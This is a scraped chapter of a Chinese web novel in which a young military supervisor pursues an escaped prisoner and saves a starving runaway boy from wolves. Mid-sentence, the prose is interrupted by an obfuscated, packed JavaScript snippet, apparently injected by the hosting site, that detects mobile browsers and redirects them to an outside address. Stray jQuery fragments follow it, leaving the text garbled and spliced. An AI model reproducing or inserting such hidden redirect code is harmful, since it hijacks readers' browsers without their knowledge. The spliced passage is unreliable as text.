默认冷灰
24号文字
方正启体

2. 一见钟情

作者:不朽乌本书字数:K更新时间:
    “找到了没啊。”


    身穿软甲的男人,不耐烦地用刀把敲了敲树干。


    “马上马上,领军大人啊,这可是我老娘留给我的,你们要的什么证据啊密信啊全都装在这个匣子里,找不到我没办法给各位大人交代啊。”中年男人挺着大肚子,哭丧着脸趴在灌木丛中仔细翻找着,样子好不滑稽。


    “朱信我告诉你,别想着耍什么花招,还想活命就赶紧找到东西,到了京都把肃王和朔羯族如何勾结谋逆的事情如实招来。”


    高杉眼神凶狠,拔剑瞬间斩断了男人头顶的一截树枝。


    “不然,你就跟这树枝一般人头落地。”


    朱信连忙陪笑,眼睛却不由得贼贼地朝行队前方打量——


    队伍前方,一青年男子正与旁边将领们议论着什么,仔细打量,那青年不过十七八岁,卸了重甲,只着一身玄色软鳞甲,墨发如瀑利索束起,青年面容清隽秀挺,带着几分少年人的清爽俊朗,但气质突出,透露着远超年岁的成熟沉稳。


    戚将息感觉到了那股不怀好意的打量,抬眼看去,朱信被吓了一跳连忙低下头假装翻找。


    “本将率领大部队先行,押送肃王余孽回朝,此地离越州近,毕竟接近两国交界,夜长梦多,免得再出什么差池。戚小子,留五十精锐给你,盯着这朱信,这家伙不老实,找到东西后立刻回朝。”


    郑老将军摸索着自己的山羊胡,寻思道:“这朱信的话不可全信,所谓的什么证物我们并不知其存在,此番权当历练了,切莫冒进。三日之内找不到就归队,至于这朱信,情况必要可以斩杀。”


    戚将息领命,很快吩咐了下去,两百精锐各自分组沿路寻去,剩下一小队人马则是跟随戚将息亲自盯着这朱信。


    “监军,你觉得这朱信所言有几分真啊?”高杉侧身而立,小声问道。


    “无论证物真假,这朱信必然是有其他计划的,与其说是找证物,不如说是拖延时间,等待救援或是有其他的脱身办法。”戚将息平静道,“不能让他影响大部队,让大家沿途查看是否留有什么标记记号,统统处理掉。”


    戚将息翻身上马,腰间御赐的令牌在太阳的照射下折射出光。


    高杉被这光晃了一下,心里不由赞叹起戚监军的本事来,年纪轻轻战功赫赫,还有陛下的御赐之物。果真是人外有人啊。


    这朱信确实不老实,一会说头晕眼花,一会说肚子疼要如厕,高杉腰间的刀气的拔了好几次都在戚将息“看他有何花招的”眼神下恨恨的插了回去。


    先前派出去的精锐部队传信回来,并未发现什么证物,倒是在路上发现了一些有规律的划痕,很隐蔽,不仔细查看是发现不了的。


    “监军,沿途的划痕都已经处理妥当。”高杉拱手,毕恭毕敬,着实让戚监军说对了。


    天色渐晚,戚将息思索片刻吩咐大家继续赶路,不过却是和大部队方向相反,一路朝西南去了。


    走了四十余里,戚将息挥手叫停。


    “后面可能有尾巴跟着我们,拉开距离,进了林子埋伏下,准备反抓。你亲自带着朱信,他身上疑点重重,不像是普通富商。”


    戚将息拉开地图看了看。


    “布置分散一点,外围也安排人手驻扎,尤其路口官道处,我们人多尽量不要被察觉,处理完尾巴得加快步伐追上将军他们。”


    不出戚将息所料,不到一会,便有数十个蒙着面村民打扮的人一路尾随到这里,倾耳去听,几人嘴里冒出来的竟不是汉语。


    戚将息微沉肩膀,右手紧拉箭尾,弓身弯如明月,一箭射穿为首之人肩膀。


    “有埋伏,小心!(朔羯语)”首领按着肩膀大喊,血如泉涌。


    “留活口。”


    高杉率领众将士从山坡一跃而下,将这帮人团团围住。


    这帮人也不恐惧,和高杉一众厮打起来,为了抓活口,手下收着力,一时倒被这群人缠上了。


    混乱中,朱信不知从哪捡来的刀剑,居然劈开了脚上的镣链。扭着肥胖的身躯,像猹一般灵活的逃窜了,戚将息拉弓朝朱信腿处射去,谁料这家伙背后也长眼睛似的,灵活闪开了。


    朱信扭头满脸横肉抖动着大笑:“哈哈哈哈哈,想抓我下辈子吧!黄毛小儿装什么将军,玩什么过家家,回家喝奶去吧!”


    边说边爬上马背,两腿狠命一夹,马儿吃痛窜了出去。


    “高杉不要恋战!朱信跑了!”


    “驾!”


    戚将息翻身利落上马,猛扯缰绳紧追上去。


    ———


    “好痛···”


    晏归神智缓缓清醒,四周一片漆黑看不出是几时。


    距离晏归逃跑已有七八日有余,从营帐逃出后,靠着身形小一路爬过茂密的树林,生着病跑不了太快,等晏归赶到袁放说的接应点时早已横尸一片。没有办法只得又回到树林里。


    晏归除了身上穿的,别说行李了,连一口干粮都没有,硬生生靠着树林里不知道有没有毒的果子和河里抓的鱼扛了这么久,此时也是极限了。


    除了追兵,他还要躲避深山里的野兽。


    晏归倒在地上,自嘲的想“即使不派人追杀,把我丢进深山老林不出十天一定能死掉,还能让所有人的手干干净净,不必沾染这是非。”


    都说人濒死之际可能往日种种会像走马灯一般,晏归此时竟然回想到幼年时和父亲兄长为数不多的和睦时光。也不知道从什么时候开始,这层关系变得如履薄冰,甚至到了要和外人联合取他性命的地步。


    太胆小了,没有力气再逃跑了,也没有胆量去死。


    毕竟还是个半大的孩子,晏归掩着脸,在空旷的林子里,有种想要大声嘶嚎的委屈。


    谁能来救救我,带我走出这林子。


    “狗日的,摔死老子了。”


    一声咒骂立刻使晏归混沌的脑袋清醒了,他连忙翻身藏进树干背后。


    “耶律坤这废物,收了老子这么多钱,一点小事都办不好。等老子回去了,看我怎么弄死他。”


    是朱信,不知道刚从哪个坡上滚下来,浑身沾着裂开的树枝和叶子,头发散乱,好不狼狈。


    朱信按着脚踝处,疼得直抽气。


    “赶紧走,一会又让那家伙追上来了。死东西不要命似的追我,疯狗!”


    晏归听得一清二楚,虽然不明状况,大概能听出眼前这男人和追杀他的人无关,估计也是沾染了什么是非和他一样正在被追杀,心里有种同病相怜的好笑感。


    晏归终于松了口气,一放松不由得退后半步。


    “咔嚓”一声,晏归浑身僵硬,脚底下踩烂了半截树枝。


    “什么人在那!出来!”朱信大惊失色,连忙爬起来握紧刀。


    晏归蹲着没动,心跳如雷。他屏息凝神地躲在树影里,指尖攥的发白,只听见朱信越发接近的脚步声,和刀划过树叶的唰唰声。


    “出来,我看到你了。”朱信此时居然没想着跑,壮胆子似的阴冷着脸,不断抽打


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17502909|202849||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着树叶,朝晏归方向逼近。


    就在刀尖即将擦过晏归躲藏的树林处时,忽然掠起一声凄厉的狼嚎,紧接着是此起彼伏的嚎叫声。


    “狼!”朱信低骂一声,恐惧瞬间爬满了全身,抖得差点握不住刀。


    晏归也猛地抬起来头,他这几日在林子里发现了一些动物被啃咬撕烂的身体,生怕附近有猛兽。这个蠢货毫不收敛的动静和身上的血腥引来了狼。


    林子深处蛰伏着的猛兽像是发现猎物似的,幽绿的光点亮起一片,晏归猛地起身,顾不得面前正抖如筛糠的朱信,一把推开他吼道:“快跑!”


    话音未落,一头灰狼已经扑到眼前,冲着晏归就扑,晏归躲闪不及胳膊被利爪狠狠擦过,带起火辣辣的痛。


    朱信像是大梦初醒,终于不抖了,尖叫着挥刀砍翻一头狼,背后却被另一匹狼狠狠扑上,手中的刀挥舞着乱砍。


    “别走别走!救救我救救我!”朱信疯狂的嘶喊,死亡逼近的恐惧让他仿佛抓住救命稻草一般祈求着晏归。


    “我给你钱,我——”


    晏归不由分说抄起地上的断枝狠狠砸向狼头,手上没啥劲,瘙痒一般,那黑狼松开朱信甩了甩脑袋,张着血盆大口朝晏归咬下来。


    “趴下!”


    一支箭破空而来,精准刺穿了狼的脑袋,将黑狼钉在地上。


    冷冽的声音伴着破空的箭声,晏归下意识缩着身体,护着脑袋朝地上摔去。


    “别动!”


    想象中的疼痛并没有到来,有劲的手臂,禁锢着他的肩膀,将整个人扣住拉了过去。


    晏归脑袋顶着来人的肩膀,忽尔感觉脸上温热一片,是血!


    慌乱中仰头,昏沉视野里撞进半张染血的侧脸——白皙肤色衬得鲜血更艳,凝着血珠顺着额头往下滴,直至那人紧抿的唇上,几捋碎发黏在汗湿的颈侧。


    晏归大脑一片空白,心脏狂跳着,胸腔中似乎有什么东西要喷涌而出,他颤着眼,朝前看去,狼口紧紧咬着面前之人的手臂,咬出两个血窟窿来,深可见骨,挡在他身侧,那人却连眉都没皱一下,反手将刀利落插入狼首。


    “监军!”


    背后传来了一大批人马赶来的声音,狼王即死,狼群已四处逃窜开来,高杉带着军队狂奔。


    朱信命大,只是被咬了腿,又疼又惊,吓得像摊烂泥似的瘫在地上,规规矩矩的让人绑住了手脚,拉去处理伤口。


    戚将息轻轻用力,把狼甩到一边。那狼那一口咬的着实重,这会儿密密麻麻的痛意爬了上来,戚将息松开手正准备询问这个不知从哪冒出来的,衣着破烂,浑身是血的孩子。


    那孩子呆愣的看着他,他还没来得及出声询问,那孩子眼睛一翻,硬生生晕倒了过去。


    戚将息用肩膀撑着晏归,右手环着,轻声道:“高杉,找随行军医快给这孩子瞧一瞧。”


    高杉脸色苍白,被刚才那一幕吓得不轻“监军,你的手没事吧。”随即大声喊叫起来,“军医!军医!快来给监军看看啊!”


    戚将息也没松手,依旧揽着晏归,仔细问道:“突袭之人抓到了?”


    高杉连忙汇报道:“抓到了,有一些嘴里□□的兄弟们来不及阻止,抓捕了十人,或许能审问出线索来。”


    戚将息点点头,目光再次落到晏归身上。


    许是方才动作过于激烈,戚将息一眼瞥见那孩子胸襟附近,隐隐有东西露在外边,戚将息伸手探过去,顺着衣料将东西掏了出来,是一枚墨色玉佩。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)